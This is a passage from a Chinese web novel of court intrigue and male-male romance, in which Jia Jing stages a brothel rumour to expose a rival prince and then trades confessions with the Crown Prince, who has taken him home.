李玉衡被拖出去的那一刻,才注意到贾敬清明一片的眼眸,神情冷然,哪里有他下药后该有的症状。 他完了。 他被贾敬耍了。 “下官冤枉啊!下官……唔唔唔……” 出了门,王大人直接让外面守着的小厮,将李玉衡的嘴堵上了。 “齐王殿下不走?”贾敬稍稍挑眉。 萧淮洵朝水月抬了抬下巴,“你喜欢这样的?” 贾敬无所谓哼了声。 萧淮洵看着那张一眼瞧去和青老板相似的脸,眼眸暗了暗,目光下移,落在那腕子上挂着的红麝珠手串, “本王送予青儿的手串,为何在你的手腕上?” “那手串是水青赠与月儿的。” 萧淮洵闻言一个转身,就见青老板从门外走了进来。 青老板走到萧淮洵身边,瞥了眼水月手腕上的红麝珠手串,缓缓道:“殿下,月儿是我认得弟弟,当日是他生辰,水青见他喜欢这手串,便私自做主送予了他。” “殿下不会怪水青吧?” 青老板故作为难地看着萧淮洵,眉头微微蹙着,显得有些委屈。 萧淮洵连忙哄道:“既然是送给青儿的,自然是随便青儿支配。” 青老板这才浅浅一笑,“谢殿□□谅。” 萧淮洵见那清隽脸上的笑颜,不禁晃了晃眼,回过神来后,萧淮洵还是不忘问了句, “青儿瞧瞧,这位贾二爷可喜欢听你的戏呢。” 贾敬执着扇骨的手稍稍紧了紧,可没人在萧淮洵面前说过,他喜欢听青老板的戏。 萧淮洵这一番话,是在试探。 试探他和青老板之间的关系,萧淮洵在怀疑他们。 青老板顺势看过来,只一眼就转回了脸,面色如常对萧淮洵道:“殿下,这全京城爱听我唱戏的可不少,这可记不得。” 贾敬暗自松了松手,心中也感叹一声,拥有一个聪明的盟友,真舒坦。 萧淮洵的这一番问话,看似随意一问,实则里面埋了坑。 无论青老板是认了他的话,还是否了他的话,他心中的疑窦都不会消除。 反而青老板表现的不在意,不记得,才能让萧淮洵放心。 青老板朝贾敬和水月这处看去,手牵起萧淮洵的袖子,晃了晃,“殿下怎么还在此,别耽误了这位贾二爷和月儿的好事了。” 他说着,声音又低了几分,带着些哑意,“今夜唱了好几处,水青嗓子还有些哑呢。” 青老板难得在萧淮洵面前这般示弱,萧淮洵根本拒绝不了,直接揽着青老板的肩就出了门,也未跟贾敬说上一句。 贾敬也不在意。 在萧淮洵和青老板出去的那一刻,贾敬就伸手推开了水月。 “此次谢过,贾某定有重谢。” 水月掩住心底的怅然若失和失落,牵起嘴角,“能帮到二爷和师兄,是水月的荣幸。” “师兄对水月,向来就好。” 贾敬端详着水月的脸,“其实,你与青老板长得并非那般相像。” 水月微微愣怔。 贾敬又道:“你们只是身量上相似,唱戏时装扮上有那么几分相似,可那戏子装扮本就浓。” “但看起来,你们并不像。” 水月眼眸颤颤,微微垂下头,“水月确实比不上师兄。” 贾敬摇了摇头,“我的意思是,你们各有千秋。” “你也不必刻意学他,你的嗓音也很有特点。” 水月听了这话,下意识抬眼,便对上贾敬认真的眼眸。 他慌乱的错开眼,嘴唇蠕动,却没有说什么。 贾敬见水月如此,想到一个猜测,“可是你们崇雅堂的班主,让你这样的?” 水月诧异,“二爷知道?” 贾敬:“猜的。” “崇雅堂打着青老板这个名号,倒是找了一堆与他相似的。” “原来,是故意的。” 水月抿了抿唇,缓缓点了点头,声音有些低沉,“师兄是崇雅堂的台柱子,班主说,能像他几分,是我们的福气,也更好出头些。” 对于水月说的这番话,贾敬便没再接话,也没有驳回。 他相信崇雅堂班主这番话,到底会怎么样,水月自己心中有数。 贾敬谢过水月,今夜的目的也已经达到,便不愿多留。 这春风楼可不是什么好待的地方。 李玉衡的那杯酒,虽然被他后来倒了,可那东西,这春风楼多的是,保不齐一个没注意,就中招了。 贾敬走前对水月留了句, “这次是我欠你一个人情,以后你有什么需要帮忙的,可以来寻我。” 水月目光怔怔地看着贾敬离开,不知看了多久,才收回目光,喃喃出声,像是在提醒着他自己, “这人不是你能肖想的……” 贾敬这边出了门,拐角处,阿禄猫着身子躲在那里,见贾敬走近,四周看了看,脚步迅速跟在贾敬身后。 “二爷。” 贾敬:“李玉衡被王大人带到哪里去了?” 阿禄:“二爷,小的一直跟着他们,那王大人本想将李玉衡带出城去,谁知刚出了春风楼,就来了一架马车,不知道和王大人说了什么,王大就将李玉衡给了出去。” “小的离得太远没听清。” 贾敬颔首,“无妨,大抵是李玉衡背后的主子,来捞他了。” “二爷,您真厉害,这都知道。”阿禄挠了挠头,“小的还以为这位李主事早投奔了齐王殿下。” “那他会是谁的人?” 贾敬浅浅勾起一抹笑,“不需要管他是谁的人,他只要不是萧淮洵的人,就够了。” 他声音压低了几分,“刚刚让你传出去的消息,你传出去了吗?” “小的一切都听您的吩咐,都安排妥当了,这时候春风楼应该大多数人都知晓了。”阿禄连忙点头。 阿禄汇报完,脸上却爬上一丝顾虑,有些不确定的开口, “二爷,您就算想传齐王殿下的传闻,也可以不用牵扯到自身啊。” “眼下春风楼的大多数人都知道您跟齐王为了争一个小戏子闹得不愉快,明日天亮前可能就要传遍全京了。” “这惹了一身骚,何必呢……” 阿禄碎碎念着,贾敬直接伸手在他头上敲了一下, “我都没犯愁,你倒是先愁起来了。” “放心吧,我自有安排。” 阿禄这才听了话,为贾敬引路下楼。 “二爷,您慢点。” 如今夜已经深了,就算春风楼点了灯,可视线终究比不得白日。 贾敬就算避开了李玉衡那杯下了药的酒,可其余的酒却没少喝。 方才设局,贾敬还能打起十万分精神应对,如今事情解决,一松懈,勉强压下去的醉意就慢慢浮现,眼前有些花。 贾敬扶着楼梯木扶手,眼睑微垂,看着一排排楼梯,思绪开始飘忽。 刚刚阿禄询问他的事情,贾敬确实也都考虑的差不多。如今他大哥贾敷不在京中,事情闹开,也顶多是传到他嫂子史云棠那里。 而他这个计划,早已经想好,也跟史云棠提过,只不过那次,史云棠并未同意。 但贾敬自觉这次先斩后奏,有先前那次的提议,史云棠应当会有准备。 而西府那头二叔贾代善那儿,也不是什么大问题。 且不说东西两府,东府为尊,贾代善本就不怎么插手东府的事务。 就说贾敬的父亲贾代化虽然已经去世,可到底还有大哥贾敷在这儿,他如今还是贾家的族长。 贾敬有什么事情,贾敷会来处理,挨不着贾代善什么事。 唯一让贾敬头疼的,是萧淮川那里。 一想到明天萧淮川就能知道他今日在春风楼的“丰功伟绩”,贾敬的后颈当即炸开一层冷汗,皂靴在桐油木阶梯上打了个滑,当即天旋地转,向前栽了下去。 “二爷小心!” 就在贾敬以为自己要滚下楼的那一刻,劲瘦腰身被一道臂弯用力箍住。鼻尖瞬间漫开一阵清冷松香。 这味道他再熟悉不过。 贾敬下意识仰头看去,就撞进了那双映着灯笼烛火的漆黑凤眸。 “淮哥……” 贾敬喉头滚了滚,翻涌的酒气直往上涌,头晕的更厉害了。 他这是醉了? 怎么在春风楼看见了萧淮川? 萧淮川揽着贾敬腰部的手臂一个用力,就将人从木梯上带了下来,凌空之感,让贾敬下意识用手抓住萧淮川的肩膀。 “太、太子殿下,二爷让小的……” 一旁的阿禄伸着手准备接过自家主子,却被萧淮川冷冷斜了一眼,“去一旁守着去。” 萧淮川将人抵在楼梯旁的暗处,不仔细看,无人能注意到这处角落。 待贾敬脚踩到实处,都还是恍惚状,目光呆呆地望着眼前之人。 萧淮川同样看着贾敬,忽然他一个低头,薄唇几乎擦过贾敬的耳垂: “贾二爷在此处玩的可尽兴?” 萧淮川说话间,温热的气息喷洒在贾敬的雪白颈侧上。 贾敬忍不住地浑身一颤,不由得朝一旁偏过头去。 听着萧淮川的称呼,贾敬就知道,萧淮川多半是气他在春风楼,故意揶揄自己。 他装作没听见,没回答。 只是垂在身侧的手下意识的摸上了自己的臀部,脑中回忆着,上次他惹萧淮川生气,被打屁股是什么时候。 时间太过久远,贾敬已经想不起来了。 萧淮川垂下眼睑,黑瞳望着贾敬那段泛着微微薄红的脖颈,眼眸愈发深沉。 忽的,萧淮川好似看到了什么,一只手绕过,稍稍剥下贾敬脖颈后的衣领,入眼的便是白色中衣领上沾染的红色胭脂。 萧淮川眼眸一凛,将贾敬裸露在外的肌肤一寸寸扫过,最后落在贾敬那微微张开的唇上,是极其自然的樱粉色。 在确认只有衣领那一处沾染了胭脂,萧淮川脸色稍霁。 可即便如此,那胭脂就算不是印在贾敬的身上,只印在了衣领上,萧淮川依旧觉得那红色胭脂扎眼的很,宛如腊月寒天的冰锥,刺入了他的眼,扎进了他的心。 生疼。 萧淮川揽着贾敬腰部的手臂再次紧了几分,眼底翻涌这复杂难明的情愫。 夜风从门口吹进,将红灯笼吹得摇摇晃晃,斑驳的灯笼光影照在萧淮川的脸上,明明灭灭。 萧淮川贴到贾敬耳垂边,声音较平日里低醇了许多, “贾二爷怎么不说话?嗯?” 萧淮川的尾音就贴在贾敬的耳边,震得贾敬的耳垂瞬间火热一片,又红又烫,酒水沉淀下的醉意混着心虚在胃里翻搅,令贾敬浑身难受。 他挣扎着要起身,可腰身被萧淮川稳稳箍着。 贾敬扭动了好一会儿,也不见萧淮川松开手臂。 “淮哥,我错了……”贾敬讷讷,不敢看萧淮川的脸色。 而他先前抓着萧淮川肩膀的手此时正紧紧攥着,将萧淮川的衣服抓出了一片片褶皱,也不曾发现。 “呵。”萧淮川轻笑了一声。 紧接着他就绷紧了脸色,嘴里吐出一连串的嘲讽,“贾二爷如今是越发能耐了。” “连春风楼都敢来了。” 贾敬眨了眨眼睛,那双掺着醉意的桃花眼如今在灯笼烛光的照耀下,显得朦胧水润,“淮哥在说什么?” “嘶。”贾敬摇晃着头,阖了阖眼睛,倒吸一口气,脸上透露着难受之色,嘟囔着,“淮哥,我头晕……” 瞧着就很是委屈。 “头晕?” 萧淮川轻声重复着,刚刚撩起贾敬衣领的手指,重重碾过那片刺目的眼中红痕,手指搁着浅薄的布料抵在贾敬的后颈处,满意地感受到怀中之人猛地战栗一颤。 “不要……” 贾敬感受着后颈处的温热挤压感,脊背瞬间绷紧,像是被人捏住后颈皮的小猫,一动也不敢动。 萧淮川见他这可怜模样,不仅没有想要放过贾敬,反而是将他心中压抑已久的占有欲激了出来。 他扯了扯嘴角,依旧不愿意放过贾敬,他压着嗓音,轻声在贾敬耳边说道: “阿元,你当真就那么喜欢那个小戏子?” “啪!” 随着萧淮川的话音落下,旁边红灯笼里的烛火突然爆了一个灯花,贾敬的身子跟着一颤。 他颤颤抬起眼皮,烛火下萧淮川的脸庞瞬间亮得吓人。 贾敬喉结滚动,下意识咽了咽口水,手不自觉地揪起萧淮川肩处的衣服。 萧淮川居然知道了! “淮哥……” 贾敬脑中一片乱麻,他心虚地缩了缩脑袋,头下意识地就往萧淮川的怀里钻去,埋着脸不去看萧淮川。 仿佛他不看着萧淮川,就能当没听见,或者事情没发生一般。 萧淮川垂眸看着自己怀里,被贾敬这幅掩耳盗铃的模样给气笑了。 “阿元。”萧淮川唤了贾敬一声。 贾敬的脸埋在萧淮川怀里,鼻尖蹭在了萧淮川的襟前,饮酒后呼出的气息灼热,喷洒在萧淮川的衣襟处,透过薄绸。 “淮哥,难受,我们回……唔……” 贾敬说出话的尾音被腰部突然加重的力道掐断,闷哼出声。 腰被萧淮川的大掌紧紧扣着,热量远远不断传到贾敬的腰侧,灼热带着磨人的痒意。 “……茶房仗义初相见,宝弓为媒定良缘。” “海枯石烂情不变,天涯海角也待你回还……” 楼上远处传来续续断断的唱词,情爱之词听得萧淮川心烦意乱。 想起理国公家那位柳大姑娘跟着戏子跑了,眼下连阿元都迷恋起戏子,萧淮川的眼底就晦涩一片。 今日贺临渊约了他在天珍阁相谈,一切还算顺利。 可谁知道,他出了天珍阁,就听闻贾敬来了春风阁,还为了一个小戏子和萧淮洵起了争执,弄得人尽皆知。 萧淮川当时第一反应就是不相信,紧接着就怕贾敬对上萧淮洵吃了亏,也担心贾敬在这里被人下了套。 他马不停蹄地朝春风楼赶来,可他看到了什么? 萧淮川一想到自己从小望着长大的青年,沾染上他人的痕迹,心中就忍不住起了暴虐之心。 “阿元,你喜欢那个戏子什么?”萧淮川垂首,轻语。 他的阿元怎么可以喜欢上一个戏子? 贾敬的指尖骤然蜷缩起来,萧淮川的语气看似平淡,却让贾敬莫名胆颤。 萧淮川一只手紧扣着贾敬的腰,一只手捏住贾敬的下巴,将贾敬埋在他胸前的脸抬起。 “阿元,告诉我,你喜欢他什么?” 贾敬紧抿着唇,这样的萧淮川让贾敬感到陌生。 他心虚不敢与其对视,只好垂着眼睛。 就见萧淮川那只手腕上坠着那颗砂金珠子手串,手背青筋暴起,分明是怒极了。 可贾敬却未感受到痛。 萧淮川自然看出了贾敬的躲避,心猛地一蛰。 是怕说了,他会找那个小戏子的麻烦吗? 就那么喜欢他吗? 既然能喜欢上那个小戏子,怎么就不可以…… 萧淮川忽然松开了抬着贾敬下巴的手,手腕一个绕后,指尖随着贾敬丝滑柔顺的长发滑下,落到脖颈处,一路向下顺着脊背游走。 贾敬打着颤,眼底水光一片,他死死咬着唇,不愿自己发出一声羞人的声音。 “唔……” 可终究是泄露出一声低吟。 萧淮川听着浑身血液都烧了起来,眼眸不知是不是因为红灯笼的缘故,透着红意,显得炽热疯狂。 他平日眼底的冷静自持早就消失的无影无踪。 “阿元,你怎么可以喜欢他呢?” 贾敬直觉眼下的情况有些不对劲,可已经走到这一步,他不能在此半途而废。 他以身入局,放出假消息,他和萧淮洵为了一个戏子起了冲突,就是让大家知道,萧淮洵喜好小戏子一事。 不管这件事会不会被萧淮洵压下,只要透出风来,贾敬便达到了目的。 贾敬相信,天丰帝想要知道,一定会知道的。 天丰帝不会允许一个好男风的皇子作储君。 而有李玉衡先前的布局,萧淮洵就算想要找到源头,也只会怀疑李玉衡,以及他背后之人。 若是贾敬没猜错,李玉衡背后之人,应当是梁王萧淮泽。 上辈子,梁王萧淮泽应当是拿捏了萧淮洵好男风一事,让萧淮洵助他夺嫡登位。 那么,贾敬就要让他们率先有了嫌隙。 萧淮洵藏了这么久的秘密,被萧淮泽捅破,就算萧淮泽再加以威逼利诱,贾敬相信,萧淮洵也不会像上一世那样,心甘情愿地辅佐萧淮泽了。 鱼儿已经上钩了,但还没到收网的时候。 “淮哥身上……真香……” 贾敬仰起脸,醉眼蒙眬地望着萧淮川。 萧淮川眯起眼,判断贾敬是否真的醉了。 贾敬弯着唇,扬起一个灿烂的笑颜,很快,他注意到萧淮川肩上那处衣服的数条褶皱。 “诶……” “一、二……足足九道纹路,这可是我抓的?” 贾敬歪了歪头,一只手反指着自己,醉意懵懂。 萧淮川看了好久,不免气极反笑。 “可不就是你这只狸奴抓的?” 贾敬好似也听不出萧淮川的挖苦,笑眯起了眼。 萧淮川看着怀中之人,弯弯桃花眼,眼尾洇着桃红色,醉憨之态尽显。 贾敬是萧淮川一手带大,萧淮川怎么看不出贾敬是在装醉? 这混账东西分明醒着,偏要拿这副情态作幌子。 “既然醉了,淮哥就带你回去。” 萧淮川一个横抱,将贾敬一把抱起。 贾敬眯晃着眼,醉意终究是涌了上来。 他望着头顶上乱晃的大红灯笼,里头偶尔爆出的灯花像是漫天星子,簌簌而落。 贾敬窝在萧淮川的怀中,闻着他安心熟悉的清冷松香,缓缓闭上了眼。 萧淮川抱着贾敬,斜了阿禄一眼,“你回宁国府禀告一声,今晚他歇在孤这里。” 说完萧淮川就进了马车,外头驾车的正是小德子。 “小德子,去别庄。” 马车瞬间离去,阿禄傻眼,他那么大一个主子,就这边被太子殿下带走了? 可他又能如何呢?只能听从太子殿下的话,回宁国府报信了。 毕竟他家二爷和太子殿下在一起,是最安全不过了。 · 贾敬是真的睡了过去,直到萧淮川再次抱着他下了马车,走路摇晃时,他才微微转醒。 不过,贾敬也只是悄悄微眯着眼,没敢真的醒来。 他还没有想好怎么面对萧淮川。 因着刚刚睡过一觉的缘故,贾敬此时的脑子异常清醒。 他也忆起了萧淮川刚刚的不寻常。 贾敬能感觉出,萧淮川是生气了。 起初,贾敬是以为萧淮川是因为他去了春风楼,更是知晓了他放出去的那个假消息,为了一个小戏子跟萧淮洵起了争执,这才气恼。 可刚刚贾敬静下心来,立刻发觉到了不对劲之处。 萧淮川的眼神…… 贾敬缩在袖子的手微微蜷着,心却是控制不住地跳快了一些,他心虚又紧张,将自己蜷缩地更加厉害了几分。 “难受?” 萧淮川见贾敬不断蜷缩,只当他酒喝多了难受,轻声询问。 贾敬闭着眼,不答,可眉头却已经拧在了一起。 萧淮川抱着贾敬脚步又快了几分。 到了床榻前,萧淮川小心将贾敬放下。 萧淮川望着贾敬里面穿的那件白色中衣,就想起后颈处的那抹胭脂红,眼底是嫌弃,是厌恶,以及一丝他自己都未曾察觉的嫉妒。 “小德子,去那套干净的里衣来。” 很快,小德子就拿来了一套干净的里衣,随后就端来了一盆热水。 “殿下,奴婢伺候……”小德子试探开口。 “你先下去吧,在门口守着。” 小德子话未说完,就被萧淮川打断,他从小德子手上接过帕子。 “是,奴婢晓得了。” 小德子目光悄悄瞟了眼床榻上的贾二爷,知晓自家殿下要亲自来,立刻退了出去,蹲在门口守门。 萧淮川将帕子浸水,拧干,先是将贾敬的脸慢慢擦干净。 帕子顺着贾敬酡红的脸颊而下,滚烫的脖颈,莹白的锁骨…… 萧淮川手执着帕子,悬在了贾敬半开的胸襟处,露出的肌肤在烛光下宛如色泽透亮的珍珠,萧淮川手微微发颤。 他的目光移动,落在一旁刚刚小德子送来的那套干净中衣上,眼眸沉沉。 很快,萧淮川不再纠结。 他将帕子放入铜盆中,帕子跌进水中溅起涟漪。 萧淮川伸出手,撩开贾敬半敞着的衣襟。 他没注意到,指腹下的那处肌肤突然紧绷,贾敬闭着的睫羽更是颤得如蝴蝶扇动的蝶翼。 萧淮川小心将贾敬身上脏了的中衣脱下,他嫌那处胭脂着实碍眼。 他不仅要将这中衣脱了,还要将这衣服烧的一干二净。 “嘶……” 贾敬倒抽一口气,萧淮川惊得收回了手。 目光紧紧盯着贾敬沉睡的面容。 贾敬依旧闭着眼,未曾醒来,只是他好似不适,皱着一张脸。 萧淮川眼睛看了一会儿,才发现,贾敬脖颈处挂着的那块玉牌还未取下,因着刚刚脱衣服,就算是暖玉的玉牌直接贴上皮肤,也难免会不适。 他自然也认出,这玉牌是他送予贾敬的那块。 萧淮川修长的手指,灵活轻巧地解开玉牌的绳子,将玉牌放置一旁。 玉牌拿走,面前的一大片白让萧淮川想要忽视都忽视不了。 他的呼吸不禁急促了几分,喉结也不自觉地滚动,手指轻轻拨开贾敬散开的黑发。 萧淮川深呼吸一口气,垂下眼眸,为贾敬换着干净中衣。 在萧淮川垂眸换衣服的时候,他不知道,贾敬曾微微睁开眼,目光复杂地望着他。 “呼……” 为贾敬换好衣裳后,萧淮川缓缓吐出一口气,他的额头此时已经起了一层细汗。 萧淮川在贾敬床榻旁坐下,就这么静静望着贾敬,看着看着,视线就落在了贾敬那樱粉的唇上。 又想起那胭脂红。 萧淮川知道,贾敬的身上并未有什么胭脂,唇上更是未曾沾染半分。 可他心中一想起贾敬为了那小戏子,不惜与萧淮洵起争执,萧淮川的心就不免泛酸。 嫉妒更是在心中翻涌,将他的心搅得又疼又涩。 “阿元……”萧淮川手指轻轻抚摸过贾敬的脸庞,声音涩然,“明明,你以前只护着我的……” 贾敬藏于被子下的手悄然攥紧了被单。 “上次你问我,你第一次来宫里,怎么和萧淮洵打架。” “你不记得了,我也说不记得了。” “可是……”萧淮川顿了顿,嘴角勾起一抹追忆的笑意,“我怎么可能不记得呢?” “那是你为了护着我,才和萧淮洵打了架。” 贾敬闭着眼,眼皮微微抖动。 随着萧淮川的话,贾敬也终于想起了这时隔两辈子的遥远记忆,唇角也微不可察的扬起。 “然而如今,你也会护着其他人了……”萧淮川喉头发紧,缓缓吐出这么一句。 萧淮川手指滑动,指腹轻轻揉着贾敬的唇瓣。 贾敬强忍着不让自己乱动,心里也已经乱成一团。 萧淮川真的知道自己在做什么吗? 这个举动真的……太过亲昵了。 “既然可以是他,为什么不能是……”萧淮川的声音有些飘忽。 不能是什么?不能是谁? 贾敬的手紧紧攥着锦被。 萧淮川未尽之言是什么? 贾敬想着,心要从嗓子眼跳出来一般。 下一瞬,一道冰凉柔软贴上了贾敬的唇,稍纵即逝。 可贾敬已经反应过来。 那是萧淮川的唇! 他怎么会吻自己! 贾敬努力让自己闭着眼,不从床上蹦起来。 “阿元,你这个小混蛋。” 萧淮川轻轻捏了一下贾敬的耳垂,直到看见耳垂变得通红发烫,他才满意地收回手。 “上次在天珍阁你亲我那件事,你也是不记得了。” “只有我记得……” 贾敬紧紧咬着牙,才压下心中的震惊。 天珍阁,他亲了萧淮川? 怎么可能! 他怎么会丝毫没有印象! 那他在亲了萧淮川之后……萧淮川未曾提及。 是因为自己忘了,怕自己尴尬吗? 那么如今呢? 他为何要说这些话,又为什么对自己今日所为,如此震怒。 “阿元,听了这么多,你还不醒吗?” 萧淮川的这句话,仿佛惊雷一般在贾敬耳边炸响。 贾敬抿了抿唇,猛地睁开眼,坐起身,对上萧淮川漆黑的凤眸,神色复杂, “你是何时知道我醒的?” 萧淮川没回答这个问题,只是道:“阿元,你是我带大的。” 贾敬装睡的小把戏,还瞒不过他。 贾敬垂眸看着锦被上的刺绣图案,心也如这丝线一般,纷纷扰扰。 “你刚才说的那些话,也是故意说与我听的。” 贾敬这话是肯定。 萧淮川定定看着贾敬,“是。” 贾敬舔了舔唇,似是犹豫,似是害怕,“你刚刚……” 萧淮川:“我如何?” 他故意不说,贾敬偏过头,不去看萧淮川,也不再接着说话。 萧淮川见状,眼眸暗了暗。 就在贾敬要忍不住时,萧淮川忽然开口: “你去春风楼,招惹萧淮洵,想做什么?” 贾敬刚张嘴,又听萧淮川道: “你想揭露他豢养小戏子,好男风?” 贾敬见萧淮川点出这件事,诧异转过头,“你知道?” “你一直都知道!”贾敬又补了一句,这是说萧淮川一直知道萧淮洵的事。 萧淮川没答,却已然默认。 贾敬眼皮跳了跳,他以为萧淮川不知道,却不曾想知道,萧淮川知晓此事。 “你如果只是想要揭露这件事,何必要自己以身犯险?” 萧淮川凝视着贾敬,刚刚在马车上,贾敬睡时,他已经查出了一些东西,大抵弄明白了贾敬的目的。 “真真假假,敌人才容易上钩。” “那你可知我会担心?”萧淮川语速快了几分,“又何必败坏自己的名声?” “我不需要你为我委曲求全。” “名声?”贾敬反问,“委曲求全?” “不。”贾敬掀了掀眼皮,盯着萧淮川,脑中闪回刚刚萧淮川说的一幕幕,舔了舔干涩的唇,“我不委曲求全。” “我也不全是为你,我有自己的私心。” 萧淮川一愣,“你是何私心?” 贾敬深吸一口气,直勾勾盯着萧淮川,一字一顿道: “我喜欢小戏子是假,但我不喜女郎是真。” 【作者有话要说】 啊啊啊啊[加油][加油][加油]怎么样!坦白啦! 注释:茶房仗义初相见,宝弓为媒定良缘。海枯石烂情不变,天涯海角也待你回还。出自《铁弓缘》 第99章 随着贾敬话音的落下, 窗外骤雨倾盆而下,嘈杂的雨声更显得屋内静默一片。 贾敬本想一直盯着萧淮川,不想错过他一丝一毫的神情变化。 然而仅仅一瞬, 面对那双黑曜深邃的凤眸,贾敬耳根隐隐发烫,眼眸颤颤, 率先错开了视线。 他整个人都紧张地颤抖着, 呼吸不知不觉间轻了几分, 紧紧攥着锦被的手捏的骨节发白, 睫羽上下快速眨着。 萧淮川先前在春风楼与他过分亲近的举动,在发现自己装醉装睡后,又故意在他面前说的那些话, 以及那一蜻蜓点水般的吻, 他到底是何意? 他们之间的关系,萧淮川怎么可以吻自己呢? 贾敬压抑不住心中的悸动,试探脱口而出。 可话出口,他却又不敢面对萧淮川的回答。 他怕。 心也慌乱如麻。 萧淮川愣了片刻, 试图理解贾敬话中的意思。 不喜女郎…… 萧淮川眼皮跳了跳,望着贾敬的眸光晦涩难明, 发干的喉头上下滚了滚, 声音略带沙哑, 唤了贾敬一声: “阿元。” 贾敬倚在枕上的身子稍稍动了动, 却依旧未抬头, 烛光照着层层床帏帐幔上, 投下重重暗影, 于他要隽秀眉骨间割裂出明暗交界。 看不清神情, 也不知道他在想些什么。 “阿元可知自己在说什么?”萧淮川指尖无意识摩挲起腕间坠着的那枚砂金珠子。 锦被上的繁杂云纹在贾敬的掌心中寸寸收紧, 忽的,掌心一松,锦被缓缓展开,留下浅浅褶皱。 “我不喜女郎,有龙阳断袖之癖。” 贾敬的声音很轻,宛如一片雪落在檐上。 萧淮川漆黑眼眸猛地一缩。他伸手落在贾敬的下颌处,稍稍一抬,动作轻柔却不容拒绝。 “阿元所说是实话?” 贾敬也并未抗拒,他微微仰着脸,瞧着很是顺从。 “倘若不是实话,淮哥以为我何故如此说?” 他狭长的眼尾稍稍挑起,先前一直抿着的唇勾起,未等萧淮川回答,反问: “淮哥不会以为,我为了诱出萧淮洵养戏子好男风之事,不惜牺牲自己的名声?又怕被你知晓这件事心中有负担,这才假言掩饰?” “萧淮洵他还不配!”贾敬声音轻轻,语气夹杂着轻蔑。 “不过,”贾敬话锋稍稍一转,桃花眼眯起,染着醉意的眼尾红晕一片,似是玩笑,“我在淮哥心中就那么大义吗?” 萧淮川凝视着贾敬,手指抚上贾敬的脸颊,将碎发轻轻拢在贾敬耳后,指尖顺势插入贾敬散落的青丝之中,叹息出声: “阿元的赤忱之心,我从不怀疑。” 萧淮川从不怀疑阿元对他的那片真心,也真的担心阿元为他做出什么傻事。 贾敬怔忪,他的玩笑话,萧淮川竟然当了真。 萧淮川手指顺着青丝滑落,贴在了贾敬微微发烫的后脖颈,他垂首,气息与贾敬的气息交缠,低声呢喃, “我只要阿元好好的,那些人,不值得。” “你……”贾敬喉头哽住,他深吸一口气,努力稳住气息,“伤敌一千,自损八百,我岂会做出那等傻事。” “昨日我还批到了弹劾礼部侍郎刘大人的折子,阿元可知为何?”萧淮川深深看了贾敬一眼,忽的插入一个话题。 贾敬微微愣怔,他本就不需要上朝,这两日心思也都放在萧淮洵、王大人修葺东宫一事上,还真不知道,也不明白萧淮川此时提及这事的缘由。 “为何?” “御史台那帮子御史,弹劾刘大人狎妓。” 大乾明面上是严禁官员狎妓,一开始也会杀鸡儆猴,严惩以儆效尤。可渐渐地,这口子也跟先祖皇帝禁男风一样,逐渐松了,京城无论是秦楼楚馆,还是养小倌的象姑馆,生意络绎不绝。 不说名妓名伶数不胜数,就说王孙公子身边跟着的娈童小厮,都是屡见不鲜之事。 “有些人嘴上读着圣贤书,克己复礼时刻挂在嘴边,私下他们就真的是君子了?” 贾敬冷笑,“刘大人也不知得罪了何人,这样状告他。” “可圣上对于官员狎妓一事,向来是睁只眼闭只眼,除了些流言,又能奈他何?” 贾敬顿开茅塞,“淮哥是怕我沾染上那些流言?” “那些流言,我不在乎,便不能奈我何。” 萧淮川见贾敬认真向自己保证,示意这些影响不到他,有些无奈, “我不是怕那些流言中伤你,而是怕你受委屈。” “阿元本不该因着这些被议论,是我之错。” 无论贾敬如何,都轮不到外人议论,更不能当那些人的饭后谈资。 贾敬只觉得眼眶有些酸涩,他飞快眨动着眼睛,声音讷讷,“我没你想的那般大义,我有自己的私心……” 他不是没有其他办法去揭露萧淮洵养戏子一事,可他却毅然决然的用了这个办法。 贾敬也是今日才看清自己的心,或者说,他今日才敢承认。 他心底藏着私心。 那些流言会有什么后果? 大抵如他嫂子史云棠先前所说,好人家的姑娘小姐难恐嫁与他。 可这样的后果,贾敬求之不得,甘之如饴。 而除了这样的后果,贾敬心底还藏着一抹不甘,是主动压抑对萧淮川情意的不甘。 他纵着心中的不甘,借此将自己有龙阳断袖之癖捅破。 说出口的话,便如泼出去的水,覆水难收。既然已经说了出去,贾敬也并不想再藏着掖着了。 上一世连上这一世,这些话已然迟了许多年。 只是在他向萧淮川陈情之前,他需要确定一件事。 贾敬定定看着萧淮川如深海般的凤眸,“淮哥是否该给阿元一个解释?” 萧淮川一顿,紧接着轻轻挑眉,故作不懂:“什么解释?” 该解释的有许多,比如知晓贾敬为一个小戏子与萧淮洵发生冲突,萧淮川为何那般愤怒;比如春风楼木梯下,萧淮川那番近乎越界的亲昵;再比如贾敬先前所不知道的天珍阁一吻…… “方才你明知我在装睡,为何亲我?” 贾敬的声音里透露着微不可察的颤意,这是只有他自己才知晓的紧张。 屋内空气微凝,屋外雨点噼里啪啦敲打着窗棂。 亦如贾敬如擂鼓般的心跳声。 忽的,贾敬眼前一暗。 是凉风吹进,吹灭了屋内两盏烛灯。 贾敬试图睁大眼睛,想要看清眼前那人影。 下一瞬,温热气息伴着贾敬熟悉的清冷松香扑面袭来,贾敬呼吸微微一滞。 “阿元想听什么?” 萧淮川放于贾敬后脖颈处的手,稍稍一捏。 酥麻之感瞬间窜上,贾敬下意识仰起头,身子颤颤。 萧淮川的拇指狠狠搓过贾敬的后颈。 “唔……”贾敬唇齿间忍不住溢出一道闷哼声,黑暗中隐着的脸上瞬间染上羞意,他下意识咬紧了唇瓣,将未溢出的声音堵在口中。 “呵。”一声轻笑在贾敬耳边响起,温湿的气息吐在贾敬的耳垂之上,惹来一片痒意。 贾敬偏了偏脑袋,抖着声音,“你做什么?” “做什么?”萧淮川声音低沉喑哑,“阿元还不知道吧。” “刚刚就在这里,”萧淮川手指抵住贾敬颈后碾着,“有一抹胭脂红印。” 贾敬闻言,口微微张着,脸上难得有些茫然。 什么胭脂红印? 稍稍一想,贾敬就知是怎么一回事。 水月唱戏虽不扮上全妆,可口脂是涂抹上了,许是与他演戏时,不慎蹭上。 就这想事的功夫,萧淮川见贾敬不语,眼眸眯起,贴着贾敬后颈的指腹顺着脊梁而下,贾敬的身子不由得颤颤,酥麻及痒意瞬间遍布全身,呼吸随即骤乱。 “那胭脂红印,刺眼的很。” 黑暗中,贾敬看不见萧淮川染上占有和妒意的眼眸。 “那、那就是个意外,不小心蹭、蹭上的。”贾敬结巴着解释。 萧淮川向前,下颌抵着贾敬的肩头。 “阿元说不喜女郎,那么是真的对那戏子动了心?”萧淮川低声诉诉,似情人呢喃。 或是喜欢别的人? 王孙公子里,有谁和阿元走得近? 